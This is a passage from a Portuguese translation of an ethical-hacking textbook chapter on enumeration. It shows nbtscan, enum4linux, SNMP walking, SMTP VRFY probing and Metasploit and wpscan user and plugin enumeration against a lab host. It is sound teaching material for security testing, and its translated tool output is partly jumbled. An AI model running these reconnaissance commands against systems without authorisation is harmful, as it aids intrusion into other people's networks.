192.168.86.32
192.168.86.27
192.168.86.255
Nome NetBIOS Servidor Usuário Endereço MAC
Falha no envio: Permissão negada 
NPI110654
BOBBY
OPUS-C765F2
MILOBLOOM
STEVEDALAS
YAZPISTACHIO
MILOBLOOM
BILLTHECAT
BINKLEY
Falha no envio: Permissão negada
BOBBY
00:00:00:00:00:00
00:00:00:00:00:00
00:50:56:3b:ac:3e
ac:87:a3:1e:6b:30
46:5e:c8:0a:b7:d1
f0:18:98:0c:34:69
ac:87:a3:1e:6b:30
ac:87:a3:36:d6:aa
8c:85:90:5a:7e:f2
 
Obter a saída aqui, assim como com qualquer ferramenta, é útil, mas em algum momento você precisa 
fazer algo com as informações, não menos importante colocá-las em um relatório para seu cliente ou 
empregador. Uma coisa boa sobre o nbtscan é a capacidade de gerar saída que pode ser manipulada 
programaticamente. Isso pode incluir pegar a saída e colocá-la em um banco de dados. Embora você 
certamente possa ler valores com separadores de espaço em branco, o nbtscan permite que você 
especifique um separador que pode facilitar a leitura na saída, mas você também pode especificar uma 
vírgula como separador e então abrir a saída em um programa de planilha. Adicionando -eseguido pela
Bloco de mensagens do servidor 213
qualquer caractere que você queira usar como separador obterá a mesma saída mostrada 
anteriormente, apenas com o separador especificado incluído entre os diferentes campos.
Você pode começar a ver um pouco de um padrão quando se trata de enumeração e SMB. Embora 
existam muitas ferramentas disponíveis, todas elas executam as mesmas funções, e a coisa mais fácil de 
fazer quando se trata de enumeração é identificar sistemas que usam SMB, incluindo o nome que eles 
anunciam na rede. Uma observação sobre esse nome: ele pode não resolver para um
Endereço IP. Um nome anunciado usando NetBIOS deve ser usado e resolvido na rede local. Isso significa 
que ele não será resolvido usando DNS, a menos que o DNS esteja configurado para usar os mesmos 
nomes e endereços IP. É possível ter um nome para seu compartilhamento do Windows e outro para seu 
DNS, supondo que o sistema tenha um endereço DNS. Se sua rede corporativa usar WINS, eles serão 
resolvidos da mesma forma devido à forma como os sistemas locais se registram no WINS.
Outra ferramenta, e veremos os mesmos recursos com esta, é o enum4linux. O exemplo a seguir está 
sendo executado em um sistema Kali Linux onde ele é instalado por padrão, mas é fácil o suficiente para 
obter uma cópia dele. É apenas um script Perl, então para executá-lo, você precisa de um interpretador 
Perl. O exemplo a seguir enumera os compartilhamentos em um host específico, identificado pelo endereço 
IP. O sistema de destino é um sistema Linux executando Samba para fornecer funcionalidade de rede do 
Windows sobre SMB. Na saída, você encontrará muitas informações relacionadas a como o Samba é 
configurado. Como exemplo, podemos ver que o grupo de trabalho WORKGROUP está configurado, que é 
uma maneira de organizar sistemas em uma rede local que estão todos usando Windows.
enum4linux compartilhar enumeração
root@quiche:~# enum4linux -S 192.168.86.52
Iniciando enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) 
em Dom Ago 19 12:18:25 2018
==========================
Informações do alvo
============================ 
Alvo ........... 192.168.86.52 Intervalo 
RID ........... 500-550,1000-1050 Nome de 
usuário ......... ''
Senha ......... ''
Nomes de usuários conhecidos .. administrador, convidado, krbtgt, administradores de domínio, root, bin, nenhum
| |
================================================= ===
Enumerando grupo de trabalho/domínio em 192.168.86.52 
======================================================= [+] 
Nome de domínio/grupo de trabalho obtido: WORKGROUP
| |
214 Capítulo 6 - Enumeração
enum4linux compartilhar enumeração(continua)
======================================
Verificação de sessão em 192.168.86.52 
=======================================
[+] O servidor 192.168.86.52 permite sessões usando nome de usuário '', senha ''
| |
============================================
Obtendo o SID do domínio para 192.168.86.52 
============================================== Nome 
do domínio: WASHERE
Domínio Sid: (SID NULO)
[+] Não é possível determinar se o host faz parte do domínio ou de um grupo de trabalho
| |
=========================================
Compartilhar enumeração em 192.168.86.52 
=========================================== 
AVISO: A opção "syslog" está obsoleta
| |
Nome do compartilhamento
- - - - - - - - - 
casas
imprimir$
CPI$
Reconectando com SMB1 para listagem de grupos de trabalho.
Tipo
- - - -
Disco
Disco
CPI
Comentário
- - - - - - -
Diretórios Home
Drivers de impressora
Serviço IPC (servidor bobbie (Samba, Ubuntu))
Servidor
- - - - - - - - -
Comentário
- - - - - - -
Grupo de trabalho
- - - - - - - - - GRUPO 
DE TRABALHO
Mestre
- - - - - - -
STEVEDALAS
[+] Tentando mapear compartilhamentos em 192.168.86.52
Na parte inferior, você pode ver os diferentes nomes de compartilhamento. Isso inclui o 
IPC$, que é usado para comunicação entre processos entre hosts. Isso permite o 
gerenciamento de sistemas remotamente. Usando enum4linux, podemosfinalmente ver o 
navegador mestre na rede. O sistema chamado STEVEDALLAS mantém a lista autoritativa atual 
de todos os sistemas na rede. Este é um sistema que foi eleito por outros sistemas na rede, o 
que significa essencialmente que ele se voluntariou e, com base em suas características, 
ninguém mais o desafiou. A razão para STEVEDALLAS ser o navegador mestre é que ele é um 
dos poucos sistemas Windows, e dos dois ou três que eram sistemas Windows reais e
Protocolo Simples de Gerenciamento de Rede 215
não Linux ou macOS executando serviços SMB, STEVEDALLAS tem o sistema operacional mais 
recente.
Usando utilitários relacionados a SMB, podemos reunir muitas informações da rede de destino. 
Conforme observado anteriormente, geralmente é necessário estar na rede local para poder usar qualquer 
uma dessas ferramentas. Um motivo para isso pode ser a orientação de domínio de transmissão da rede do 
Windows — anúncios na rede local. Outro motivo é que as portas de rede do Windows são comumente 
bloqueadas por firewalls. Além disso, é inteiramente possível que as redes de desktop, onde os sistemas 
têm maior probabilidade de se comunicar com SMB, geralmente usem endereços privados que podem não 
ser expostos ao mundo externo. Para chegar até eles, como eles não são roteáveis por convenção, você 
teria que estar em uma rede onde pelo menos haveria regras de roteamento para chegar a essas redes de 
destino, o que significa que há acessibilidade de rede.
Embora os desktops não sejam os únicos dispositivos que se comunicarão usando SMB, já que os 
servidores também o fazem, eles são os sistemas que serão mais numerosos na maioria dos casos. 
Como sempre, quando você começar a olhar para os desktops, certifique-se de ter um acordo para 
olhá-los com seu empregador. Nem todo mundo vai querer que as redes de desktop sejam tocadas 
porque isso pode impedir a produtividade de seus usuários. Eles também podem sentir que estão 
mais interessados em vulnerabilidades técnicas tradicionais que são expostas ao mundo externo, 
sem pensar em movimento lateral dentro da organização ou no fato de que os desktops são o alvo 
mais comum dos invasores hoje.
Protocolo Simples de Gerenciamento de Rede
O Simple Network Management Protocol (SNMP) existe desde o final dos anos 80, embora tenha passado 
por várias iterações. A primeira iteração, versão 1 (SNMPv1), foi introduzida em 1988. Ele continua a ser 
usado apesar de ter sido substituído por outras versões nos anos seguintes. O SNMPv1 também inclui uma 
série de falhas que o tornam problemático de uma perspectiva de segurança. É um protocolo binário, mas 
não há criptografia suportada com ele. Isso significa que qualquer um que possa obter os pacotes que 
estão sendo transmitidos pode decodificá-los facilmente. Um segundo problema é que há uma 
autenticação muito fraca. O SNMPv1 usa strings de comunidade para obter acesso. Você obtém acesso 
somente leitura ou obtém acesso de leitura/gravação. Não há granularidade além disso. Também não há 
conceito de usuários. Você fornece a string apropriada e obtém esse nível de acesso. Talvez pior, porém, 
seja o fato de que as strings de comunidade comumente usadas são tão bem conhecidas. A string “public” é 
usada para somente leitura, enquanto a string “private” é usada para leitura-escrita. Isso não é codificado, 
mas é muito comum.
A versão 2 introduziu algumas correções para o que era amplamente conhecido como um protocolo 
problemático. Primeiro, introduziu autenticação aprimorada sobre o modelo básico de string de 
comunidade da v1. No entanto, junto com a v2 veio a v2c, que manteve a implementação das strings de 
comunidade para autenticação. Isso significava que as ferramentas existentes poderiam continuar a usar 
apenas strings de comunidade sem ter que implementar quaisquer mecanismos de autenticação 
adicionais. No entanto, v2 e v1 são incompatíveis. As especificações de mensagem na v2 são diferentes de
216 Capítulo 6 - Enumeração
aqueles na v1, então mesmo que sua ferramenta estivesse usando apenas strings da comunidade, ela não 
poderia ser simplesmente colocada no lugar e esperar que funcionasse com vários sistemas usando a v1.
A versão 3 implementou correções adicionais e é considerada uma melhoria significativa em relação às versões 
anteriores. Primeiro, ela suporta criptografia em vez de transmissões de texto simples. Segundo, ela suporta 
autenticação baseada em usuário. Isso significa que você obtém melhor responsabilidade para saber quem está 
fazendo o quê. Isso é importante, pois o SNMP pode ser usado não apenas para monitorar dispositivos, mas 
também para definir parâmetros no endpoint.
Uma arquitetura SNMP básica teria agentes instalados em endpoints, enquanto um sistema de servidor 
poderia ser usado para pesquisar esses agentes periodicamente para obter medições para fins de 
monitoramento. Um agente SNMP pode servir informações armazenadas em bases de informações de 
gerenciamento (MIBs). Essas MIBs são estruturas de dados definidas, usando Abstract Syntax Notation One 
(ASN.1). Cada nó ou elemento de dados obtém um identificador de objeto (OID), que é uma longa sequência 
pontilhada de valores numéricos. Obter ou definir qualquer valor do agente requer o fornecimento do OID 
correto que corresponde ao valor que você está procurando.
O SNMP pode fornecer muitas informações diferentes que são úteis se os MIBs corretos estiverem 
instalados e operando corretamente no agente. Isso pode incluir coisas como o nome do sistema e a 
versão do kernel sendo executada no sistema. No exemplo a seguir, você pode ver o uso do 
programa snmpwalk para "percorrer" a árvore MIB para coletar dados do agente. Isso começa no 
nível superior da árvore e coleta o que pode encontrar lá. Na saída do snmpwalk, você pode ver o 
nome do sistema, bem como o identificador do kernel. Além disso, você pode ver algumas 
informações de contato que foram configuradas no agente SNMP.
snmpwalk do sistema linux
root@quiche:~# snmpwalk -v1 -c público 192.168.86.52
iso.3.6.1.2.1.1.1.0 = STRING: "Linux bobbie 4.15.0-30-generic #32-Ubuntu SMP Qui Jul 26 
17:42:43 UTC 2018 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10 
iso.3.6.1.2.1.1.3.0 = Marcas de tempo: (7606508) 21:07:45.08 
iso.3.6.1.2.1.1.4.0 = STRING: "Foo " 
iso.3.6.1.2.1.1.5.0 = STRING: "bobbie"
iso.3.6.1.2.1.1.6.0 = STRING: "Erie, CO" iso.3.6.1.2.1.1.7.0 = 
INTEGER: 72 iso.3.6.1.2.1.1.8.0 = Timeticks: (1) 0:00:00.01 
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.11.3.1.1 
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.15.2.1.1 
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.10.3.1.1 
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1 iso.3.6.1.2.1.1.9.1.2.5 
= OID: iso.3.6.1.6.3.16.2.2.1 iso.3.6. 1.2.1.1.9.1.2.6 = OID: 
iso.3.6.1.2.1.49 iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.4 
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.50 
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3 
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
Protocolo Simples de Transferência de Correio 217
Há uma série de MIBs que podem ser extraídos que produzirão informações essenciais. Uma 
delas é a tabela de interface, ifTable. Se você percorrer a ifTable, obterá uma lista de todas as 
interfaces no sistema e como elas estão configuradas. Em um design de rede em camadas, você pode 
obter uma compreensão das redes adicionais às quais o sistema pode estar conectado. Com essas 
informações, você pode continuar a construir o mapa de rede que você vem criando conforme 
identifica redes e sistemas.
Uma vantagem do SNMP é que ele é talvez mais comumente usado em equipamentos de rede como roteadores 
e switches. Como estes podem não ter meios tradicionais de obter acesso e podem não ter ideias mais tradicionais 
de usuários, usar o SNMP para coletar informações desses dispositivos pode ser um bom ponto de entrada. Como 
de costume, no entanto, um protocolo como o SNMP é geralmente desabilitado por firewalls. Em outras palavras, 
você normalmente teria que terpermissão de acesso específico ao dispositivo de rede por meio de um firewall ou 
lista de controle de acesso antes de poder começar a solicitar dados MIB de um dispositivo de rede. Os agentes 
SNMP que são implementados e configurados corretamente não devem simplesmente fornecer informações 
confidenciais do sistema para qualquer um que as peça.
Protocolo Simples de Transferência de Correio
Como muitos outros protocolos, o SMTP opera usando uma série de verbos para interagir com o 
servidor. O cliente envia um verbo e quaisquer outros parâmetros necessários para o servidor SMTP. 
Com base no verbo, o servidor sabe como lidar com os parâmetros recebidos. Ao contrário de outros 
protocolos mais simples, porém, a comunicação com SMTP é uma conversa inteira. Antes de 
começar, você tem que cumprimentar o servidor. Isso informa ao servidor qual tipo de SMTP você vai 
falar. Em seguida, você diz ao servidor o que deseja fazer. Com base na função que está tentando 
executar, pode ser necessário fornecer informações adicionais. Isso pode incluir o fornecimento de 
credenciais. Você pode ver um exemplo de uma conversa SMTP simples a seguir. Isso é totalmente 
manual, então você pode ver a conversa no nível do protocolo e como pode interagir com um 
servidor SMTP.
Conversação smTp
root@quiche:~# nc 192.168.86.52 25 220 
bobbie.lan ESMTP Postfix (Ubuntu) EHLO 
blah.com
250-bobbie.lan
250-TUBULIZAÇÃO
250-TAMANHO 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-CÓDIGOS DE STATUS 
MELHORADOS 250-8BITMIME
218 Capítulo 6 - Enumeração
Conversação smTp(continua)
250-DSN
250 SMTPUTF8
CORREIO De: foo@foo.com
250 2.1.0 Certo
RCPT Para: wubble@wubble.com 
250 2.1.5 Ok
DADOS
354 Fim dos dados com . 
De: Goober
Para: Alguém
Data: hoje
Assunto: Olá
Não há realmente nada a dizer.
.
250 2.0.0 Ok: enfileirado como 33471301389
Depois de iniciar a conversa usando HELO ou EHLO, você obterá uma lista de recursos oferecidos pelo 
servidor. Existem alguns recursos no SMTP que podemos usar para enumerar usuários ou pelo menos 
endereços de e-mail. Um deles que você pode ver é o VRFY, que pode ser usado para verificar usuários. Nem 
todos os servidores de e-mail terão esse recurso habilitado, pois ele pode ser usado para identificar usuários 
legítimos ou endereços de e-mail. Isso significa que ele pode ser usado por invasores e também por 
spammers. Aqui você pode ver um exemplo do uso do VRFY contra um servidor de e-mail local executando o 
Postfix, que tem o VRFY habilitado por padrão.
Testando vrfY
root@quiche:~# nc 192.168.86.52 25 220 
bobbie.lan ESMTP Postfix (Ubuntu) EHLO 
blah.com
250-bobbie.lan
250-TUBULIZAÇÃO
250-TAMANHO 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-CÓDIGOS DE STATUS 
MELHORADOS 250-8BITMIME
250-DSN
250 SMTPUTF8
VRFY raiz@localhost
Protocolo Simples de Transferência de Correio 219
252 2.0.0 raiz@localhost 
VRFY kilroy@localhost
252 2.0.0 kilroy@localhost 
VRFY raiz
252 2.0.0 raiz
Não recebemos nada de volta de nossas tentativas, exceto um código de status. Não há texto indicando 
o que o servidor pensa sobre nossa solicitação. Isso significa que precisamos procurar o valor numérico que 
recebemos. Ao contrário do caso anterior, onde obtivemos 250, o que significa sucesso, desta vez 
obtivemos um status 252. Isso significa que o endereço não pode ser verificado, mas o servidor tentará 
entregar a mensagem. Enquanto VRFY estiver habilitado neste servidor, não obtemos muitas informações 
úteis. Além disso, executar isso manualmente consome muito tempo.
Poderíamos fazer isso manualmente. Metasploit novamente para o resgate, no entanto. O módulo 
smtp_ enum pegará uma lista de palavras e fará a mesma coisa automaticamente que você viu ser feita 
manualmente antes. Ele executará todos os usuários na lista de palavras, verificando se cada usuário 
existe. Há duas maneiras de testar se os usuários existem — o comando VRFY ou o comando MAIL TO. Na 
listagem a seguir, você pode ver os resultados de uma execução no mesmo servidor. Isso está usando a 
lista de palavras padrão que vem com o Metasploit que tem uma lista de nomes de usuários comuns do 
Unix (unix_users.txt).
smtp_enum executar
msf auxiliar(scanner/smtp/smtp_enum) > usar auxiliar/scanner/smtp/smtp_enum msf 
auxiliar(scanner/smtp/smtp_enum) > definir RHOSTS 192.168.86.52/32
RHOSTS => 192.168.86.52/32
msf auxiliar(scanner/smtp/smtp_enum) > executar
[*] 192.168.86.52:25
Postfix (Ubuntu)
- 192.168.86.52:25 Faixa: 220 bobbie.lan ESMTP
[+] 192.168.86.52:25
jogos, gnats, irc, lista, lp, correio, man, messagebus, notícias, ninguém, postmaster, proxy, 
sshd, sincronização, sys, syslog, uucp, www-data
- 192.168.86.52:25 Usuários encontrados: , backup, bin, daemon,
[*] Escaneou 1 de 1 hosts (100% concluído) [*] 
Execução do módulo auxiliar concluída
Você notará que há muitos usuários listados como encontrados por este módulo. Com base no fato de 
que o comando VRFY retornou um 252 e os usuários são aqueles que existem neste sistema, o módulo 
não está usando VRFY. Em vez disso, ele está usando o comando MAIL TO. Usuários que não existem 
resultarão em um código de status 550. Usuários que existem retornarão um 250 quando o e-mail for 
tentado para esse usuário. Com base nos resultados disso, o módulo retorna nomes de usuários válidos, 
pois dos 112 usuários na lista, apenas 21 usuários foram identificados.
Há outro comando que pode ser usado em servidores SMTP, embora seja direcionado a listas de 
discussão. Se você encontrar um endereço de lista de discussão que pertença a um domínio, você poderá 
usar EXPN para expandir a lista de discussão, o que significa identificar os endereços de e-mail que
220 Capítulo 6 - Enumeração
estão nessa lista de discussão. Esta função, no entanto, requer que o servidor suporte 
SMTP aprimorado (ESMTP). Você pode testar se um servidor suporta ESMTP verificando 
se ele aceita EHLO, que é a versão ESMTP do HELO.
Enumeração baseada na Web
No que diz respeito à enumeração, pode haver algumas coisas que queremos observar em servidores web. A 
primeira é identificar diretórios disponíveis em um site. Há muitas maneiras diferentes de fazer isso, especialmente 
se você tiver acesso a ferramentas de teste de aplicativos web. Mesmo que você não tenha ou não esteja 
familiarizado com o uso delas, há maneiras simples de verificar. Tudo o que você precisa é de uma lista de palavras 
que possa fornecer nomes de diretórios em potencial e uma ferramenta que possa fazer solicitações a um servidor 
web com base nessas palavras — anexando cada palavra a um Uniform Resource Locator (URL) base. Aqui, você 
pode ver o uso do programa dirb, que inclui sua própria lista de palavras de nomes de diretórios comuns. Isso foi 
executado em um servidor web na minha própria rede que tinha a distribuição do WordPress descompactada no 
diretório web base.
diretório dirb Teste
root@quiche:~# dirb http://192.168.86.52/
- - - - - - - - - - - - - - - - 
DIRB v2.22
Por The Dark Raver
- - - - - - - - - - - - - - - - -
START_TIME: Dom Ago 19 19:38:36 2018 
URL_BASE: http://192.168.86.52/
ARQUIVOS_DE_LISTA_DE_PALAVRAS: /usr/share/dirb/wordlists/common.txt
- - - - - - - - - - - - - - - - -
PALAVRAS GERADAS: 4612
- - - - URL de digitalização: http://192.168.86.52/ ----
+ http://192.168.86.52/index.php (CÓDIGO:200|
TAMANHO:418) ==> DIRETÓRIO: http://192.168.86.52/wp-
admin/ ==> DIRETÓRIO: http://192.168.86.52/wp-content/ ==> 
DIRETÓRIO: http://192.168.86.52/wp-includes/
+ http://192.168.86.52/xmlrpc.php (CÓDIGO:200|TAMANHO:3065)
Enumeração baseada na Web 221
- - - - Entrando no diretório: http://192.168.86.52/wp-admin/ ----
+ http://192.168.86.52/wp-admin/admin.php (CÓDIGO:200|
TAMANHO:10531) ==> DIRETÓRIO: http://192.168.86.52/wp-admin/css/
==> DIRETÓRIO: http://192.168.86.52/wp-admin/images/ ==> 
DIRETÓRIO: http://192.168.86.52/wp-admin/includes/
+ http://192.168.86.52/wp-admin/index.php (CÓDIGO:200|
TAMANHO:7265) ==> DIRETÓRIO: http://192.168.86.52/wp-admin/js/
==> DIRETÓRIO: http://192.168.86.52/wp-admin/maint/==> 
DIRETÓRIO: http://192.168.86.52/wp-admin/network/ ==> 
DIRETÓRIO: http://192.168.86.52/wp-admin/user/
O que fizemos até agora foi verificar diretórios conhecidos ou esperados em um servidor web. Usar uma 
lista de palavras não garante que você identificará todos os diretórios disponíveis no servidor. Se um 
diretório não estiver na lista de palavras, ele não será identificado. Podemos recorrer a outra ferramenta 
para ajudar a fuzzing nomes de diretórios, ou seja, gerar nomes dinamicamente com base em um conjunto 
de regras. Você pode esperar neste ponto que recorreríamos ao Metasploit porque ele é muito útil. Você 
estaria correto. Podemos usar o módulo brute_dirs. Usando este módulo, você define um formato para 
como um nome de diretório pode ou deve se parecer e o módulo executará todos os nomes possíveis que 
correspondem ao formato. Aqui você pode ver as opções disponíveis para o módulo, seguidas por um 
conjunto de formatos. Vamos testar todas as palavras com caracteres minúsculos cujos comprimentos estão 
entre um e oito caracteres.
módulo metasploit brute_dirs
msf > usar auxiliar/scanner/http/brute_dirs msf 
auxiliar(scanner/http/brute_dirs) > info
Nome: HTTP Directory Brute Force Scanner 
Módulo: auxiliary/scanner/http/brute_dirs 
Licença: Licença BSD
Classificação: Normal
Fornecido por:
e 
Opções básicas:
Nome
- - - -
Configuração atual
- - - - - - - - - - - - - - -
um, um, um
Obrigatório
- - - - - - - -
sim
Descrição
- - - - - - - - - - -
O formato de diretório esperado (a alfa, dFORMATAR
dígito, A maiúsculo)
CAMINHO / sim
não
O caminho para identificar diretórios 
Uma cadeia proxy de formatoProcurações
tipo:host:porta[,tipo:host:porta][...]
222 Capítulo 6 - Enumeração
módulo metasploit brute_dirs(continua)
RHOSTS
identificador
192.168.86.52 sim O intervalo de endereços de destino ou CIDR
RPORT
SSL
LINHAS
V-HOST
80
falso
1
sim
não
sim
não
A porta de destino (TCP)
Negociar SSL/TLS para conexões de saída O 
número de threads simultâneos
Host virtual do servidor HTTP
Descrição:
Este módulo identifica a existência de diretórios interessantes forçando o 
nome em um determinado caminho de diretório.
msf auxiliar(scanner/http/brute_dirs) > definir FORMAT a,aa,aaa,aaaa,aaaaa,aaaaa, 
aaaaaaa,aaaaaaaa
FORMAT => a,aa,aaa,aaaa,aaaaa,aaaaaa,aaaaaaaaa,aaaaaaaa 
msf auxiliar(scanner/http/brute_dirs) > executar
[*] Usando código '404' como não encontrado.
O Metasploit, como sempre, tem um grande número de módulos que podem ser usados para 
enumeração baseada na web além de apenas identificar diretórios no servidor web. Conforme você começa 
a trabalhar com sites e, mais especificamente, aplicativos web, você encontrará muitos aplicativos de código 
aberto que são bem conhecidos porque são muito usados. Como exemplo, você pode encontrar uma 
instalação do WordPress. Novamente usando o Metasploit, podemos enumerar os usuários na instalação do 
WordPress. O módulo wordpress_login_enum pode pegar um arquivo de usuário ou um arquivo de senha, 
ou você pode fornecer um único nome de usuário com um arquivo de senha ou uma única senha com um 
arquivo de nome de usuário. Há uma série de outras opções que podem ser definidas no módulo, 
fornecendo muitos recursos. Aqui você pode ver a execução do módulo em uma instalação local do 
WordPress.
Enumerando nomes de usuários no wordpress
msf auxiliar(scanner/http/wordpress_login_enum) > definir BLANK_PASSWORDS verdadeiro 
BLANK_PASSWORDS => verdadeiro
msf auxiliar(scanner/http/wordpress_login_enum) > definir RHOSTS 192.168.86.52 
RHOSTS => 192.168.86.52
msf auxiliar(scanner/http/wordpress_login_enum) > executar
[*] / - Versão 4.9.8 do WordPress detectada
[*] 192.168.86.52:80 - / - Enumeração de usuários do WordPress - Executando enumeração de usuários [+] / 
- Usuário 'kilroy' encontrado com id 1
[+] / - Nomes de usuários armazenados em: /root/.msf4/loot/
20180819205530_default_192.168.86.52_wordpress.users_790698.txt [*] 192.168.86.52:80 - / - 
Validação de usuário do WordPress - Executando validação de usuário
Enumeração baseada na Web 223
[*] 192.168.86.52:80 - [1/0] - / - Força bruta do WordPress - Executando força bruta [*] / - 
Força bruta encontrada anteriormente em contas...
[*] Escaneou 1 de 1 hosts (100% concluído) [*] 
Execução do módulo auxiliar concluída
Você notará que ele faz referência ao armazenamento do nome de usuário em um arquivo no diretório home do 
usuário root, que é o usuário sob o qual o msfconsole está sendo executado. O Metasploit também armazena essas 
informações. Sempre que você quiser verificar o que você pegou em termos de informações como credenciais, você 
pode executar o comandopilhagemdentro do msfconsole. Você pode ver os resultados deste comando aqui.
listando loot no msfconsole
msf auxiliar(scanner/http/wordpress_login_enum) > loot
Saque
====
hospedar
- - - -
serviço
- - - - - - -
tipo
- - - -
usuários do wordpress
nome
- - - -
contente
- - - - - - -
192.168.86.52_usuários_do_wordpress.txt
informação
- - - -
caminho
- - - -
192.168.86.52
texto/simples
/root/.msf4/loot/20180819205530_default_192.168.86.52_wordpress.users_790698.txt
Quando se trata do WordPress, não precisamos depender do Metasploit. Novamente, podemos confiar 
no Kali Linux porque ele está disponível gratuitamente e é fácil de usar, sem mencionar o fato de que há 
centenas de ferramentas disponíveis. O Kali vem com o programa wpscan que pode ser usado para 
enumerar não apenas usuários, mas também temas e plug-ins. Quando se trata de um aplicativo da web 
como o WordPress, os plug-ins também podem ser úteis para saber, porque eles também podem introduzir 
vulnerabilidades. Eles incluem código adicional, afinal. Na listagem a seguir, você pode ver uma execução do 
wpscan, onde enumeramos os plug-ins. Você também notará que, enquanto ele estava em execução, ele 
detectou o usuário que está configurado.
Enumerando plug-ins no wordpress
root@quiche:~# wpscan --url http://192.168.86.52 --enumerate p 
________________________________________________________________
__
\ \
\ \
\ \/
\ /\ / | |
\/ \/ |_|
_______
/ /__\ /____| / /| |__) 
| (___ \/ / |
_____
/\ ___ __ _ _ __ ®
___/ \___ \ / __|/ _` | '_ \
____) | (__| (_| | | | |
|_____/ \___|\__ _|_| |_|ˊ
224 Capítulo 6 - Enumeração
Enumerando plug-ins no wordpress(continua)
Verificador de segurança do WordPress pela equipe WPScan
Versão 2.9.4
Patrocinado pela Sucuri - https://sucuri.net @_WPScan_, 
@ethicalhack3r, @erwan_lr, @_FireFart_ 
_______________________________________________________________
[+] URL: http://192.168.86.52/ [+] Iniciado: 
Dom Ago 19 21:20:59 2018
[+] Cabeçalho interessante: LINK: ; 
rel="https://api.w.org/"
[+] Cabeçalho interessante: SERVIDOR: Apache/2.4.29 (Ubuntu)
[+] Interface XML-RPC disponível em: http://192.168.86.52/xmlrpc.php 405] [HTTP
[+] Encontrou um feed RSS: http://192.168.86.52/index.php/feed/ [!] 
Detectou 1 usuário do feed RSS:
+ - - - - - - - - 
+ | Nome |
+ - - - - - - - - 
+ | Kilroy |
+ - - - - - - - - +
[HTTP 200]
[!] O diretório de upload tem listagem de diretórios habilitada: http://192.168.86.52/ 
wp-content/uploads/
[!] Inclui diretório com listagem de diretório habilitada: http://192.168.86.52/ wp-includes/
[+] Enumerando a versão do WordPress ...
[+] Versão 4.9.8 do WordPress (lançada em 02/08/2018) identificada por impressão digital 
avançada, meta gerador, links opml, números de folhas de estilo
[+] Tema WordPress em uso: twentyseventeen - v1.7
[+] Nome: twentyseventeen - v1.7 |
|
|
|
Última versão: 1.7 (atualizada) Última 
atualização: 2018-08-02T00:00:00.000Z
Localização: http://192.168.86.52/wp-content/themes/twentyseventeen/ Leia-me: http://
192.168.86.52/wp-content/themes/twentyseventeen/README.txt URL do estilo: http://
192.168.86.52/wp-content/themes/twentyseventeen/style|
.css
| Nome do tema: Twenty Seventeen
Enumeração baseada na Web 225
| URI do tema: https://wordpress.org/themes/twentyseventeen/
Descrição:O Twenty Seventeen dá vida ao seu site com vídeo de cabeçalho e|
imagens em destaque imersivas. Com um...
|
|
Autor: a equipe do WordPress URI do 
autor: https://wordpress.org/
[+] Enumerando plugins instalados (somente aqueles marcados como populares) ...
Tempo: 00:00:00 (1494 / 1494) 100,00% Tempo: 00:00:00
[+] Encontramos 5 plugins:
[+] Nome: akismet - v4.0.8 |
|
|
|
Última versão: 4.0.8 (atualizada) Última 
atualização: 2018-06-19T18:18:00.000Z
Localização: http://192.168.86.52/wp-content/plugins/akismet/ Leia-me: http://
192.168.86.52/wp-content/plugins/akismet/readme.txt
[+] Nome: gutenberg - v3.6.1 |
|
|
|
[!] A versão está desatualizada, a versão mais recente é 3.6.2
Última atualização: 2018-08-17T15:50:00.000Z
Localização: http://192.168.86.52/wp-content/plugins/gutenberg/ Leia-me: http://
192.168.86.52/wp-content/plugins/gutenberg/readme.txt Log de alterações: http://
192.168.86.52/wp-content/plugins/gutenberg/changelog.txt
[!] A listagem de diretórios está habilitada: http://192.168.86.52/wp-content/plugins/ 
gutenberg/
[+] Nome: jetpack - v6.4.2 |
|
|
|
|
Última versão: 6.4.2 (atualizada) Última 
atualização: 2018-08-10T14:33:00.000Z
Localização: http://192.168.86.52/wp-content/plugins/jetpack/ Leia-me: http://
192.168.86.52/wp-content/plugins/jetpack/readme.txt Log de alterações: http://
192.168.86.52/wp-content/plugins/jetpack/changelog.txt
[!] A listagem de diretórios está habilitada: http://192.168.86.52/wp-content/plugins/ 
jetpack/
[+] Nome: tablepress - v1.9 |
|
|
Última versão: 1.9 (atualizada) Última 
atualização: 2017-12-03T19:57:00.000Z
Localização: http://192.168.86.52/wp-content/plugins/tablepress/
226 Capítulo 6 - Enumeração
Enumerando plug-ins no wordpress(continua)
| Leia-me: http://192.168.86.52/wp-content/plugins/tablepress/readme.txt
[+] Nome: wordfence - v7.1.10 |
|
|
|
Última versão: 7.1.10 (atualizada) Última 
atualização: 2018-07-31T17:48:00.000Z
Localização: http://192.168.86.52/wp-content/plugins/wordfence/ Leia-me: http://
192.168.86.52/wp-content/plugins/wordfence/readme.txt
[+] Concluído: Dom Ago 19 21:21:06 2018 [+] 
Tempo decorrido: 00:00:06
[+] Solicitações feitas: 1588 [+] 
Memória utilizada: 103,09 MB
Além da enumeração de usuários e plug-ins, o wpscan identificou alguns problemas com a 
instalação do WordPress, então eles podem ser usados mais adiante. Ele também identificou 
um cabeçalho da comunicação HTTP que ele achou interessante porque incluía o nome do 
produto, bem como a versão e o sistema operacional. Todas essas são informações úteis de se 
ter.
Essas não são as únicas coisas que podemos enumerar quando se trata de aplicativos da web. 
Poderíamos escanear redes para diferentes aplicativos da web ou procurar enumerar usuários. Procurar 
diretórios que estão no servidor da web também é útil porque pode nos ajudar a identificar aplicativos, 
bem como dados que podem estar disponíveis.
Resumo
Enumeração é o processo de reunir muitas informações mais acima na pilha de rede do que apenas 
endereços IP e portas. Neste ponto, estamos subindo para a camada de Aplicação. Estamos procurando 
coisas como nomes de usuários, onde podemos encontrá-los, e compartilhamentos de rede e quaisquer 
outros pontos de apoio que possamos reunir. Para realizar esse trabalho de enumeração, há uma série de 
